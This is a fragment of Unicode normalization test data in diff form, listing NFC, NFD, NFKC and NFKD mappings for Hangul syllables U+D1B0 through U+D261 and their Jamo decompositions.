+{ source: [0xD1B0], NFC: [0xD1B0], NFD: [0x1110, 0x1169, 0x11B7], NFKC: [0xD1B0], NFKD: [0x1110, 0x1169, 0x11B7] },
+{ source: [0xD1B1], NFC: [0xD1B1], NFD: [0x1110, 0x1169, 0x11B8], NFKC: [0xD1B1], NFKD: [0x1110, 0x1169, 0x11B8] },
+{ source: [0xD1B2], NFC: [0xD1B2], NFD: [0x1110, 0x1169, 0x11B9], NFKC: [0xD1B2], NFKD: [0x1110, 0x1169, 0x11B9] },
+{ source: [0xD1B3], NFC: [0xD1B3], NFD: [0x1110, 0x1169, 0x11BA], NFKC: [0xD1B3], NFKD: [0x1110, 0x1169, 0x11BA] },
+{ source: [0xD1B4], NFC: [0xD1B4], NFD: [0x1110, 0x1169, 0x11BB], NFKC: [0xD1B4], NFKD: [0x1110, 0x1169, 0x11BB] },
+{ source: [0xD1B5], NFC: [0xD1B5], NFD: [0x1110, 0x1169, 0x11BC], NFKC: [0xD1B5], NFKD: [0x1110, 0x1169, 0x11BC] },
+{ source: [0xD1B6], NFC: [0xD1B6], NFD: [0x1110, 0x1169, 0x11BD], NFKC: [0xD1B6], NFKD: [0x1110, 0x1169, 0x11BD] },
+{ source: [0xD1B7], NFC: [0xD1B7], NFD: [0x1110, 0x1169, 0x11BE], NFKC: [0xD1B7], NFKD: [0x1110, 0x1169, 0x11BE] },
+{ source: [0xD1B8], NFC: [0xD1B8], NFD: [0x1110, 0x1169, 0x11BF], NFKC: [0xD1B8], NFKD: [0x1110, 0x1169, 0x11BF] },
+{ source: [0xD1B9], NFC: [0xD1B9], NFD: [0x1110, 0x1169, 0x11C0], NFKC: [0xD1B9], NFKD: [0x1110, 0x1169, 0x11C0] },
+{ source: [0xD1BA], NFC: [0xD1BA], NFD: [0x1110, 0x1169, 0x11C1], NFKC: [0xD1BA], NFKD: [0x1110, 0x1169, 0x11C1] },
+{ source: [0xD1BB], NFC: [0xD1BB], NFD: [0x1110, 0x1169, 0x11C2], NFKC: [0xD1BB], NFKD: [0x1110, 0x1169, 0x11C2] },
+{ source: [0xD1BC], NFC: [0xD1BC], NFD: [0x1110, 0x116A], NFKC: [0xD1BC], NFKD: [0x1110, 0x116A] },
+{ source: [0xD1BD], NFC: [0xD1BD], NFD: [0x1110, 0x116A, 0x11A8], NFKC: [0xD1BD], NFKD: [0x1110, 0x116A, 0x11A8] },
+{ source: [0xD1BE], NFC: [0xD1BE], NFD: [0x1110, 0x116A, 0x11A9], NFKC: [0xD1BE], NFKD: [0x1110, 0x116A, 0x11A9] },
+{ source: [0xD1BF], NFC: [0xD1BF], NFD: [0x1110, 0x116A, 0x11AA], NFKC: [0xD1BF], NFKD: [0x1110, 0x116A, 0x11AA] },
+{ source: [0xD1C0], NFC: [0xD1C0], NFD: [0x1110, 0x116A, 0x11AB], NFKC: [0xD1C0], NFKD: [0x1110, 0x116A, 0x11AB] },
+{ source: [0xD1C1], NFC: [0xD1C1], NFD: [0x1110, 0x116A, 0x11AC], NFKC: [0xD1C1], NFKD: [0x1110, 0x116A, 0x11AC] },
+{ source: [0xD1C2], NFC: [0xD1C2], NFD: [0x1110, 0x116A, 0x11AD], NFKC: [0xD1C2], NFKD: [0x1110, 0x116A, 0x11AD] },
+{ source: [0xD1C3], NFC: [0xD1C3], NFD: [0x1110, 0x116A, 0x11AE], NFKC: [0xD1C3], NFKD: [0x1110, 0x116A, 0x11AE] },
+{ source: [0xD1C4], NFC: [0xD1C4], NFD: [0x1110, 0x116A, 0x11AF], NFKC: [0xD1C4], NFKD: [0x1110, 0x116A, 0x11AF] },
+{ source: [0xD1C5], NFC: [0xD1C5], NFD: [0x1110, 0x116A, 0x11B0], NFKC: [0xD1C5], NFKD: [0x1110, 0x116A, 0x11B0] },
+{ source: [0xD1C6], NFC: [0xD1C6], NFD: [0x1110, 0x116A, 0x11B1], NFKC: [0xD1C6], NFKD: [0x1110, 0x116A, 0x11B1] },
+{ source: [0xD1C7], NFC: [0xD1C7], NFD: [0x1110, 0x116A, 0x11B2], NFKC: [0xD1C7], NFKD: [0x1110, 0x116A, 0x11B2] },
+{ source: [0xD1C8], NFC: [0xD1C8], NFD: [0x1110, 0x116A, 0x11B3], NFKC: [0xD1C8], NFKD: [0x1110, 0x116A, 0x11B3] },
+{ source: [0xD1C9], NFC: [0xD1C9], NFD: [0x1110, 0x116A, 0x11B4], NFKC: [0xD1C9], NFKD: [0x1110, 0x116A, 0x11B4] },
+{ source: [0xD1CA], NFC: [0xD1CA], NFD: [0x1110, 0x116A, 0x11B5], NFKC: [0xD1CA], NFKD: [0x1110, 0x116A, 0x11B5] },
+{ source: [0xD1CB], NFC: [0xD1CB], NFD: [0x1110, 0x116A, 0x11B6], NFKC: [0xD1CB], NFKD: [0x1110, 0x116A, 0x11B6] },
+{ source: [0xD1CC], NFC: [0xD1CC], NFD: [0x1110, 0x116A, 0x11B7], NFKC: [0xD1CC], NFKD: [0x1110, 0x116A, 0x11B7] },
+{ source: [0xD1CD], NFC: [0xD1CD], NFD: [0x1110, 0x116A, 0x11B8], NFKC: [0xD1CD], NFKD: [0x1110, 0x116A, 0x11B8] },
+{ source: [0xD1CE], NFC: [0xD1CE], NFD: [0x1110, 0x116A, 0x11B9], NFKC: [0xD1CE], NFKD: [0x1110, 0x116A, 0x11B9] },
+{ source: [0xD1CF], NFC: [0xD1CF], NFD: [0x1110, 0x116A, 0x11BA], NFKC: [0xD1CF], NFKD: [0x1110, 0x116A, 0x11BA] },
+{ source: [0xD1D0], NFC: [0xD1D0], NFD: [0x1110, 0x116A, 0x11BB], NFKC: [0xD1D0], NFKD: [0x1110, 0x116A, 0x11BB] },
+{ source: [0xD1D1], NFC: [0xD1D1], NFD: [0x1110, 0x116A, 0x11BC], NFKC: [0xD1D1], NFKD: [0x1110, 0x116A, 0x11BC] },
+{ source: [0xD1D2], NFC: [0xD1D2], NFD: [0x1110, 0x116A, 0x11BD], NFKC: [0xD1D2], NFKD: [0x1110, 0x116A, 0x11BD] },
+{ source: [0xD1D3], NFC: [0xD1D3], NFD: [0x1110, 0x116A, 0x11BE], NFKC: [0xD1D3], NFKD: [0x1110, 0x116A, 0x11BE] },
+{ source: [0xD1D4], NFC: [0xD1D4], NFD: [0x1110, 0x116A, 0x11BF], NFKC: [0xD1D4], NFKD: [0x1110, 0x116A, 0x11BF] },
+{ source: [0xD1D5], NFC: [0xD1D5], NFD: [0x1110, 0x116A, 0x11C0], NFKC: [0xD1D5], NFKD: [0x1110, 0x116A, 0x11C0] },
+{ source: [0xD1D6], NFC: [0xD1D6], NFD: [0x1110, 0x116A, 0x11C1], NFKC: [0xD1D6], NFKD: [0x1110, 0x116A, 0x11C1] },
+{ source: [0xD1D7], NFC: [0xD1D7], NFD: [0x1110, 0x116A, 0x11C2], NFKC: [0xD1D7], NFKD: [0x1110, 0x116A, 0x11C2] },
+{ source: [0xD1D8], NFC: [0xD1D8], NFD: [0x1110, 0x116B], NFKC: [0xD1D8], NFKD: [0x1110, 0x116B] },
+{ source: [0xD1D9], NFC: [0xD1D9], NFD: [0x1110, 0x116B, 0x11A8], NFKC: [0xD1D9], NFKD: [0x1110, 0x116B, 0x11A8] },
+{ source: [0xD1DA], NFC: [0xD1DA], NFD: [0x1110, 0x116B, 0x11A9], NFKC: [0xD1DA], NFKD: [0x1110, 0x116B, 0x11A9] },
+{ source: [0xD1DB], NFC: [0xD1DB], NFD: [0x1110, 0x116B, 0x11AA], NFKC: [0xD1DB], NFKD: [0x1110, 0x116B, 0x11AA] },
+{ source: [0xD1DC], NFC: [0xD1DC], NFD: [0x1110, 0x116B, 0x11AB], NFKC: [0xD1DC], NFKD: [0x1110, 0x116B, 0x11AB] },
+{ source: [0xD1DD], NFC: [0xD1DD], NFD: [0x1110, 0x116B, 0x11AC], NFKC: [0xD1DD], NFKD: [0x1110, 0x116B, 0x11AC] },
+{ source: [0xD1DE], NFC: [0xD1DE], NFD: [0x1110, 0x116B, 0x11AD], NFKC: [0xD1DE], NFKD: [0x1110, 0x116B, 0x11AD] },
+{ source: [0xD1DF], NFC: [0xD1DF], NFD: [0x1110, 0x116B, 0x11AE], NFKC: [0xD1DF], NFKD: [0x1110, 0x116B, 0x11AE] },
+{ source: [0xD1E0], NFC: [0xD1E0], NFD: [0x1110, 0x116B, 0x11AF], NFKC: [0xD1E0], NFKD: [0x1110, 0x116B, 0x11AF] },
+{ source: [0xD1E1], NFC: [0xD1E1], NFD: [0x1110, 0x116B, 0x11B0], NFKC: [0xD1E1], NFKD: [0x1110, 0x116B, 0x11B0] },
+{ source: [0xD1E2], NFC: [0xD1E2], NFD: [0x1110, 0x116B, 0x11B1], NFKC: [0xD1E2], NFKD: [0x1110, 0x116B, 0x11B1] },
+{ source: [0xD1E3], NFC: [0xD1E3], NFD: [0x1110, 0x116B, 0x11B2], NFKC: [0xD1E3], NFKD: [0x1110, 0x116B, 0x11B2] },
+{ source: [0xD1E4], NFC: [0xD1E4], NFD: [0x1110, 0x116B, 0x11B3], NFKC: [0xD1E4], NFKD: [0x1110, 0x116B, 0x11B3] },
+{ source: [0xD1E5], NFC: [0xD1E5], NFD: [0x1110, 0x116B, 0x11B4], NFKC: [0xD1E5], NFKD: [0x1110, 0x116B, 0x11B4] },
+{ source: [0xD1E6], NFC: [0xD1E6], NFD: [0x1110, 0x116B, 0x11B5], NFKC: [0xD1E6], NFKD: [0x1110, 0x116B, 0x11B5] },
+{ source: [0xD1E7], NFC: [0xD1E7], NFD: [0x1110, 0x116B, 0x11B6], NFKC: [0xD1E7], NFKD: [0x1110, 0x116B, 0x11B6] },
+{ source: [0xD1E8], NFC: [0xD1E8], NFD: [0x1110, 0x116B, 0x11B7], NFKC: [0xD1E8], NFKD: [0x1110, 0x116B, 0x11B7] },
+{ source: [0xD1E9], NFC: [0xD1E9], NFD: [0x1110, 0x116B, 0x11B8], NFKC: [0xD1E9], NFKD: [0x1110, 0x116B, 0x11B8] },
+{ source: [0xD1EA], NFC: [0xD1EA], NFD: [0x1110, 0x116B, 0x11B9], NFKC: [0xD1EA], NFKD: [0x1110, 0x116B, 0x11B9] },
+{ source: [0xD1EB], NFC: [0xD1EB], NFD: [0x1110, 0x116B, 0x11BA], NFKC: [0xD1EB], NFKD: [0x1110, 0x116B, 0x11BA] },
+{ source: [0xD1EC], NFC: [0xD1EC], NFD: [0x1110, 0x116B, 0x11BB], NFKC: [0xD1EC], NFKD: [0x1110, 0x116B, 0x11BB] },
+{ source: [0xD1ED], NFC: [0xD1ED], NFD: [0x1110, 0x116B, 0x11BC], NFKC: [0xD1ED], NFKD: [0x1110, 0x116B, 0x11BC] },
+{ source: [0xD1EE], NFC: [0xD1EE], NFD: [0x1110, 0x116B, 0x11BD], NFKC: [0xD1EE], NFKD: [0x1110, 0x116B, 0x11BD] },
+{ source: [0xD1EF], NFC: [0xD1EF], NFD: [0x1110, 0x116B, 0x11BE], NFKC: [0xD1EF], NFKD: [0x1110, 0x116B, 0x11BE] },
+{ source: [0xD1F0], NFC: [0xD1F0], NFD: [0x1110, 0x116B, 0x11BF], NFKC: [0xD1F0], NFKD: [0x1110, 0x116B, 0x11BF] },
+{ source: [0xD1F1], NFC: [0xD1F1], NFD: [0x1110, 0x116B, 0x11C0], NFKC: [0xD1F1], NFKD: [0x1110, 0x116B, 0x11C0] },
+{ source: [0xD1F2], NFC: [0xD1F2], NFD: [0x1110, 0x116B, 0x11C1], NFKC: [0xD1F2], NFKD: [0x1110, 0x116B, 0x11C1] },
+{ source: [0xD1F3], NFC: [0xD1F3], NFD: [0x1110, 0x116B, 0x11C2], NFKC: [0xD1F3], NFKD: [0x1110, 0x116B, 0x11C2] },
+{ source: [0xD1F4], NFC: [0xD1F4], NFD: [0x1110, 0x116C], NFKC: [0xD1F4], NFKD: [0x1110, 0x116C] },
+{ source: [0xD1F5], NFC: [0xD1F5], NFD: [0x1110, 0x116C, 0x11A8], NFKC: [0xD1F5], NFKD: [0x1110, 0x116C, 0x11A8] },
+{ source: [0xD1F6], NFC: [0xD1F6], NFD: [0x1110, 0x116C, 0x11A9], NFKC: [0xD1F6], NFKD: [0x1110, 0x116C, 0x11A9] },
+{ source: [0xD1F7], NFC: [0xD1F7], NFD: [0x1110, 0x116C, 0x11AA], NFKC: [0xD1F7], NFKD: [0x1110, 0x116C, 0x11AA] },
+{ source: [0xD1F8], NFC: [0xD1F8], NFD: [0x1110, 0x116C, 0x11AB], NFKC: [0xD1F8], NFKD: [0x1110, 0x116C, 0x11AB] },
+{ source: [0xD1F9], NFC: [0xD1F9], NFD: [0x1110, 0x116C, 0x11AC], NFKC: [0xD1F9], NFKD: [0x1110, 0x116C, 0x11AC] },
+{ source: [0xD1FA], NFC: [0xD1FA], NFD: [0x1110, 0x116C, 0x11AD], NFKC: [0xD1FA], NFKD: [0x1110, 0x116C, 0x11AD] },
+{ source: [0xD1FB], NFC: [0xD1FB], NFD: [0x1110, 0x116C, 0x11AE], NFKC: [0xD1FB], NFKD: [0x1110, 0x116C, 0x11AE] },
+{ source: [0xD1FC], NFC: [0xD1FC], NFD: [0x1110, 0x116C, 0x11AF], NFKC: [0xD1FC], NFKD: [0x1110, 0x116C, 0x11AF] },
+{ source: [0xD1FD], NFC: [0xD1FD], NFD: [0x1110, 0x116C, 0x11B0], NFKC: [0xD1FD], NFKD: [0x1110, 0x116C, 0x11B0] },
+{ source: [0xD1FE], NFC: [0xD1FE], NFD: [0x1110, 0x116C, 0x11B1], NFKC: [0xD1FE], NFKD: [0x1110, 0x116C, 0x11B1] },
+{ source: [0xD1FF], NFC: [0xD1FF], NFD: [0x1110, 0x116C, 0x11B2], NFKC: [0xD1FF], NFKD: [0x1110, 0x116C, 0x11B2] },
+{ source: [0xD200], NFC: [0xD200], NFD: [0x1110, 0x116C, 0x11B3], NFKC: [0xD200], NFKD: [0x1110, 0x116C, 0x11B3] },
+{ source: [0xD201], NFC: [0xD201], NFD: [0x1110, 0x116C, 0x11B4], NFKC: [0xD201], NFKD: [0x1110, 0x116C, 0x11B4] },
+{ source: [0xD202], NFC: [0xD202], NFD: [0x1110, 0x116C, 0x11B5], NFKC: [0xD202], NFKD: [0x1110, 0x116C, 0x11B5] },
+{ source: [0xD203], NFC: [0xD203], NFD: [0x1110, 0x116C, 0x11B6], NFKC: [0xD203], NFKD: [0x1110, 0x116C, 0x11B6] },
+{ source: [0xD204], NFC: [0xD204], NFD: [0x1110, 0x116C, 0x11B7], NFKC: [0xD204], NFKD: [0x1110, 0x116C, 0x11B7] },
+{ source: [0xD205], NFC: [0xD205], NFD: [0x1110, 0x116C, 0x11B8], NFKC: [0xD205], NFKD: [0x1110, 0x116C, 0x11B8] },
+{ source: [0xD206], NFC: [0xD206], NFD: [0x1110, 0x116C, 0x11B9], NFKC: [0xD206], NFKD: [0x1110, 0x116C, 0x11B9] },
+{ source: [0xD207], NFC: [0xD207], NFD: [0x1110, 0x116C, 0x11BA], NFKC: [0xD207], NFKD: [0x1110, 0x116C, 0x11BA] },
+{ source: [0xD208], NFC: [0xD208], NFD: [0x1110, 0x116C, 0x11BB], NFKC: [0xD208], NFKD: [0x1110, 0x116C, 0x11BB] },
+{ source: [0xD209], NFC: [0xD209], NFD: [0x1110, 0x116C, 0x11BC], NFKC: [0xD209], NFKD: [0x1110, 0x116C, 0x11BC] },
+{ source: [0xD20A], NFC: [0xD20A], NFD: [0x1110, 0x116C, 0x11BD], NFKC: [0xD20A], NFKD: [0x1110, 0x116C, 0x11BD] },
+{ source: [0xD20B], NFC: [0xD20B], NFD: [0x1110, 0x116C, 0x11BE], NFKC: [0xD20B], NFKD: [0x1110, 0x116C, 0x11BE] },
+{ source: [0xD20C], NFC: [0xD20C], NFD: [0x1110, 0x116C, 0x11BF], NFKC: [0xD20C], NFKD: [0x1110, 0x116C, 0x11BF] },
+{ source: [0xD20D], NFC: [0xD20D], NFD: [0x1110, 0x116C, 0x11C0], NFKC: [0xD20D], NFKD: [0x1110, 0x116C, 0x11C0] },
+{ source: [0xD20E], NFC: [0xD20E], NFD: [0x1110, 0x116C, 0x11C1], NFKC: [0xD20E], NFKD: [0x1110, 0x116C, 0x11C1] },
+{ source: [0xD20F], NFC: [0xD20F], NFD: [0x1110, 0x116C, 0x11C2], NFKC: [0xD20F], NFKD: [0x1110, 0x116C, 0x11C2] },
+{ source: [0xD210], NFC: [0xD210], NFD: [0x1110, 0x116D], NFKC: [0xD210], NFKD: [0x1110, 0x116D] },
+{ source: [0xD211], NFC: [0xD211], NFD: [0x1110, 0x116D, 0x11A8], NFKC: [0xD211], NFKD: [0x1110, 0x116D, 0x11A8] },
+{ source: [0xD212], NFC: [0xD212], NFD: [0x1110, 0x116D, 0x11A9], NFKC: [0xD212], NFKD: [0x1110, 0x116D, 0x11A9] },
+{ source: [0xD213], NFC: [0xD213], NFD: [0x1110, 0x116D, 0x11AA], NFKC: [0xD213], NFKD: [0x1110, 0x116D, 0x11AA] },
+{ source: [0xD214], NFC: [0xD214], NFD: [0x1110, 0x116D, 0x11AB], NFKC: [0xD214], NFKD: [0x1110, 0x116D, 0x11AB] },
+{ source: [0xD215], NFC: [0xD215], NFD: [0x1110, 0x116D, 0x11AC], NFKC: [0xD215], NFKD: [0x1110, 0x116D, 0x11AC] },
+{ source: [0xD216], NFC: [0xD216], NFD: [0x1110, 0x116D, 0x11AD], NFKC: [0xD216], NFKD: [0x1110, 0x116D, 0x11AD] },
+{ source: [0xD217], NFC: [0xD217], NFD: [0x1110, 0x116D, 0x11AE], NFKC: [0xD217], NFKD: [0x1110, 0x116D, 0x11AE] },
+{ source: [0xD218], NFC: [0xD218], NFD: [0x1110, 0x116D, 0x11AF], NFKC: [0xD218], NFKD: [0x1110, 0x116D, 0x11AF] },
+{ source: [0xD219], NFC: [0xD219], NFD: [0x1110, 0x116D, 0x11B0], NFKC: [0xD219], NFKD: [0x1110, 0x116D, 0x11B0] },
+{ source: [0xD21A], NFC: [0xD21A], NFD: [0x1110, 0x116D, 0x11B1], NFKC: [0xD21A], NFKD: [0x1110, 0x116D, 0x11B1] },
+{ source: [0xD21B], NFC: [0xD21B], NFD: [0x1110, 0x116D, 0x11B2], NFKC: [0xD21B], NFKD: [0x1110, 0x116D, 0x11B2] },
+{ source: [0xD21C], NFC: [0xD21C], NFD: [0x1110, 0x116D, 0x11B3], NFKC: [0xD21C], NFKD: [0x1110, 0x116D, 0x11B3] },
+{ source: [0xD21D], NFC: [0xD21D], NFD: [0x1110, 0x116D, 0x11B4], NFKC: [0xD21D], NFKD: [0x1110, 0x116D, 0x11B4] },
+{ source: [0xD21E], NFC: [0xD21E], NFD: [0x1110, 0x116D, 0x11B5], NFKC: [0xD21E], NFKD: [0x1110, 0x116D, 0x11B5] },
+{ source: [0xD21F], NFC: [0xD21F], NFD: [0x1110, 0x116D, 0x11B6], NFKC: [0xD21F], NFKD: [0x1110, 0x116D, 0x11B6] },
+{ source: [0xD220], NFC: [0xD220], NFD: [0x1110, 0x116D, 0x11B7], NFKC: [0xD220], NFKD: [0x1110, 0x116D, 0x11B7] },
+{ source: [0xD221], NFC: [0xD221], NFD: [0x1110, 0x116D, 0x11B8], NFKC: [0xD221], NFKD: [0x1110, 0x116D, 0x11B8] },
+{ source: [0xD222], NFC: [0xD222], NFD: [0x1110, 0x116D, 0x11B9], NFKC: [0xD222], NFKD: [0x1110, 0x116D, 0x11B9] },
+{ source: [0xD223], NFC: [0xD223], NFD: [0x1110, 0x116D, 0x11BA], NFKC: [0xD223], NFKD: [0x1110, 0x116D, 0x11BA] },
+{ source: [0xD224], NFC: [0xD224], NFD: [0x1110, 0x116D, 0x11BB], NFKC: [0xD224], NFKD: [0x1110, 0x116D, 0x11BB] },
+{ source: [0xD225], NFC: [0xD225], NFD: [0x1110, 0x116D, 0x11BC], NFKC: [0xD225], NFKD: [0x1110, 0x116D, 0x11BC] },
+{ source: [0xD226], NFC: [0xD226], NFD: [0x1110, 0x116D, 0x11BD], NFKC: [0xD226], NFKD: [0x1110, 0x116D, 0x11BD] },
+{ source: [0xD227], NFC: [0xD227], NFD: [0x1110, 0x116D, 0x11BE], NFKC: [0xD227], NFKD: [0x1110, 0x116D, 0x11BE] },
+{ source: [0xD228], NFC: [0xD228], NFD: [0x1110, 0x116D, 0x11BF], NFKC: [0xD228], NFKD: [0x1110, 0x116D, 0x11BF] },
+{ source: [0xD229], NFC: [0xD229], NFD: [0x1110, 0x116D, 0x11C0], NFKC: [0xD229], NFKD: [0x1110, 0x116D, 0x11C0] },
+{ source: [0xD22A], NFC: [0xD22A], NFD: [0x1110, 0x116D, 0x11C1], NFKC: [0xD22A], NFKD: [0x1110, 0x116D, 0x11C1] },
+{ source: [0xD22B], NFC: [0xD22B], NFD: [0x1110, 0x116D, 0x11C2], NFKC: [0xD22B], NFKD: [0x1110, 0x116D, 0x11C2] },
+{ source: [0xD22C], NFC: [0xD22C], NFD: [0x1110, 0x116E], NFKC: [0xD22C], NFKD: [0x1110, 0x116E] },
+{ source: [0xD22D], NFC: [0xD22D], NFD: [0x1110, 0x116E, 0x11A8], NFKC: [0xD22D], NFKD: [0x1110, 0x116E, 0x11A8] },
+{ source: [0xD22E], NFC: [0xD22E], NFD: [0x1110, 0x116E, 0x11A9], NFKC: [0xD22E], NFKD: [0x1110, 0x116E, 0x11A9] },
+{ source: [0xD22F], NFC: [0xD22F], NFD: [0x1110, 0x116E, 0x11AA], NFKC: [0xD22F], NFKD: [0x1110, 0x116E, 0x11AA] },
+{ source: [0xD230], NFC: [0xD230], NFD: [0x1110, 0x116E, 0x11AB], NFKC: [0xD230], NFKD: [0x1110, 0x116E, 0x11AB] },
+{ source: [0xD231], NFC: [0xD231], NFD: [0x1110, 0x116E, 0x11AC], NFKC: [0xD231], NFKD: [0x1110, 0x116E, 0x11AC] },
+{ source: [0xD232], NFC: [0xD232], NFD: [0x1110, 0x116E, 0x11AD], NFKC: [0xD232], NFKD: [0x1110, 0x116E, 0x11AD] },
+{ source: [0xD233], NFC: [0xD233], NFD: [0x1110, 0x116E, 0x11AE], NFKC: [0xD233], NFKD: [0x1110, 0x116E, 0x11AE] },
+{ source: [0xD234], NFC: [0xD234], NFD: [0x1110, 0x116E, 0x11AF], NFKC: [0xD234], NFKD: [0x1110, 0x116E, 0x11AF] },
+{ source: [0xD235], NFC: [0xD235], NFD: [0x1110, 0x116E, 0x11B0], NFKC: [0xD235], NFKD: [0x1110, 0x116E, 0x11B0] },
+{ source: [0xD236], NFC: [0xD236], NFD: [0x1110, 0x116E, 0x11B1], NFKC: [0xD236], NFKD: [0x1110, 0x116E, 0x11B1] },
+{ source: [0xD237], NFC: [0xD237], NFD: [0x1110, 0x116E, 0x11B2], NFKC: [0xD237], NFKD: [0x1110, 0x116E, 0x11B2] },
+{ source: [0xD238], NFC: [0xD238], NFD: [0x1110, 0x116E, 0x11B3], NFKC: [0xD238], NFKD: [0x1110, 0x116E, 0x11B3] },
+{ source: [0xD239], NFC: [0xD239], NFD: [0x1110, 0x116E, 0x11B4], NFKC: [0xD239], NFKD: [0x1110, 0x116E, 0x11B4] },
+{ source: [0xD23A], NFC: [0xD23A], NFD: [0x1110, 0x116E, 0x11B5], NFKC: [0xD23A], NFKD: [0x1110, 0x116E, 0x11B5] },
+{ source: [0xD23B], NFC: [0xD23B], NFD: [0x1110, 0x116E, 0x11B6], NFKC: [0xD23B], NFKD: [0x1110, 0x116E, 0x11B6] },
+{ source: [0xD23C], NFC: [0xD23C], NFD: [0x1110, 0x116E, 0x11B7], NFKC: [0xD23C], NFKD: [0x1110, 0x116E, 0x11B7] },
+{ source: [0xD23D], NFC: [0xD23D], NFD: [0x1110, 0x116E, 0x11B8], NFKC: [0xD23D], NFKD: [0x1110, 0x116E, 0x11B8] },
+{ source: [0xD23E], NFC: [0xD23E], NFD: [0x1110, 0x116E, 0x11B9], NFKC: [0xD23E], NFKD: [0x1110, 0x116E, 0x11B9] },
+{ source: [0xD23F], NFC: [0xD23F], NFD: [0x1110, 0x116E, 0x11BA], NFKC: [0xD23F], NFKD: [0x1110, 0x116E, 0x11BA] },
+{ source: [0xD240], NFC: [0xD240], NFD: [0x1110, 0x116E, 0x11BB], NFKC: [0xD240], NFKD: [0x1110, 0x116E, 0x11BB] },
+{ source: [0xD241], NFC: [0xD241], NFD: [0x1110, 0x116E, 0x11BC], NFKC: [0xD241], NFKD: [0x1110, 0x116E, 0x11BC] },
+{ source: [0xD242], NFC: [0xD242], NFD: [0x1110, 0x116E, 0x11BD], NFKC: [0xD242], NFKD: [0x1110, 0x116E, 0x11BD] },
+{ source: [0xD243], NFC: [0xD243], NFD: [0x1110, 0x116E, 0x11BE], NFKC: [0xD243], NFKD: [0x1110, 0x116E, 0x11BE] },
+{ source: [0xD244], NFC: [0xD244], NFD: [0x1110, 0x116E, 0x11BF], NFKC: [0xD244], NFKD: [0x1110, 0x116E, 0x11BF] },
+{ source: [0xD245], NFC: [0xD245], NFD: [0x1110, 0x116E, 0x11C0], NFKC: [0xD245], NFKD: [0x1110, 0x116E, 0x11C0] },
+{ source: [0xD246], NFC: [0xD246], NFD: [0x1110, 0x116E, 0x11C1], NFKC: [0xD246], NFKD: [0x1110, 0x116E, 0x11C1] },
+{ source: [0xD247], NFC: [0xD247], NFD: [0x1110, 0x116E, 0x11C2], NFKC: [0xD247], NFKD: [0x1110, 0x116E, 0x11C2] },
+{ source: [0xD248], NFC: [0xD248], NFD: [0x1110, 0x116F], NFKC: [0xD248], NFKD: [0x1110, 0x116F] },
+{ source: [0xD249], NFC: [0xD249], NFD: [0x1110, 0x116F, 0x11A8], NFKC: [0xD249], NFKD: [0x1110, 0x116F, 0x11A8] },
+{ source: [0xD24A], NFC: [0xD24A], NFD: [0x1110, 0x116F, 0x11A9], NFKC: [0xD24A], NFKD: [0x1110, 0x116F, 0x11A9] },
+{ source: [0xD24B], NFC: [0xD24B], NFD: [0x1110, 0x116F, 0x11AA], NFKC: [0xD24B], NFKD: [0x1110, 0x116F, 0x11AA] },
+{ source: [0xD24C], NFC: [0xD24C], NFD: [0x1110, 0x116F, 0x11AB], NFKC: [0xD24C], NFKD: [0x1110, 0x116F, 0x11AB] },
+{ source: [0xD24D], NFC: [0xD24D], NFD: [0x1110, 0x116F, 0x11AC], NFKC: [0xD24D], NFKD: [0x1110, 0x116F, 0x11AC] },
+{ source: [0xD24E], NFC: [0xD24E], NFD: [0x1110, 0x116F, 0x11AD], NFKC: [0xD24E], NFKD: [0x1110, 0x116F, 0x11AD] },
+{ source: [0xD24F], NFC: [0xD24F], NFD: [0x1110, 0x116F, 0x11AE], NFKC: [0xD24F], NFKD: [0x1110, 0x116F, 0x11AE] },
+{ source: [0xD250], NFC: [0xD250], NFD: [0x1110, 0x116F, 0x11AF], NFKC: [0xD250], NFKD: [0x1110, 0x116F, 0x11AF] },
+{ source: [0xD251], NFC: [0xD251], NFD: [0x1110, 0x116F, 0x11B0], NFKC: [0xD251], NFKD: [0x1110, 0x116F, 0x11B0] },
+{ source: [0xD252], NFC: [0xD252], NFD: [0x1110, 0x116F, 0x11B1], NFKC: [0xD252], NFKD: [0x1110, 0x116F, 0x11B1] },
+{ source: [0xD253], NFC: [0xD253], NFD: [0x1110, 0x116F, 0x11B2], NFKC: [0xD253], NFKD: [0x1110, 0x116F, 0x11B2] },
+{ source: [0xD254], NFC: [0xD254], NFD: [0x1110, 0x116F, 0x11B3], NFKC: [0xD254], NFKD: [0x1110, 0x116F, 0x11B3] },
+{ source: [0xD255], NFC: [0xD255], NFD: [0x1110, 0x116F, 0x11B4], NFKC: [0xD255], NFKD: [0x1110, 0x116F, 0x11B4] },
+{ source: [0xD256], NFC: [0xD256], NFD: [0x1110, 0x116F, 0x11B5], NFKC: [0xD256], NFKD: [0x1110, 0x116F, 0x11B5] },
+{ source: [0xD257], NFC: [0xD257], NFD: [0x1110, 0x116F, 0x11B6], NFKC: [0xD257], NFKD: [0x1110, 0x116F, 0x11B6] },
+{ source: [0xD258], NFC: [0xD258], NFD: [0x1110, 0x116F, 0x11B7], NFKC: [0xD258], NFKD: [0x1110, 0x116F, 0x11B7] },
+{ source: [0xD259], NFC: [0xD259], NFD: [0x1110, 0x116F, 0x11B8], NFKC: [0xD259], NFKD: [0x1110, 0x116F, 0x11B8] },
+{ source: [0xD25A], NFC: [0xD25A], NFD: [0x1110, 0x116F, 0x11B9], NFKC: [0xD25A], NFKD: [0x1110, 0x116F, 0x11B9] },
+{ source: [0xD25B], NFC: [0xD25B], NFD: [0x1110, 0x116F, 0x11BA], NFKC: [0xD25B], NFKD: [0x1110, 0x116F, 0x11BA] },
+{ source: [0xD25C], NFC: [0xD25C], NFD: [0x1110, 0x116F, 0x11BB], NFKC: [0xD25C], NFKD: [0x1110, 0x116F, 0x11BB] },
+{ source: [0xD25D], NFC: [0xD25D], NFD: [0x1110, 0x116F, 0x11BC], NFKC: [0xD25D], NFKD: [0x1110, 0x116F, 0x11BC] },
+{ source: [0xD25E], NFC: [0xD25E], NFD: [0x1110, 0x116F, 0x11BD], NFKC: [0xD25E], NFKD: [0x1110, 0x116F, 0x11BD] },
+{ source: [0xD25F], NFC: [0xD25F], NFD: [0x1110, 0x116F, 0x11BE], NFKC: [0xD25F], NFKD: [0x1110, 0x116F, 0x11BE] },
+{ source: [0xD260], NFC: [0xD260], NFD: [0x1110, 0x116F, 0x11BF], NFKC: [0xD260], NFKD: [0x1110, 0x116F, 0x11BF] },
+{ source: [0xD261], NFC: [0xD261], NFD: [0x1110, 0x116F, 0x11C0], NFKC: [0xD261], NFKD: [0x1110, 0x116F, 0x11C0] },
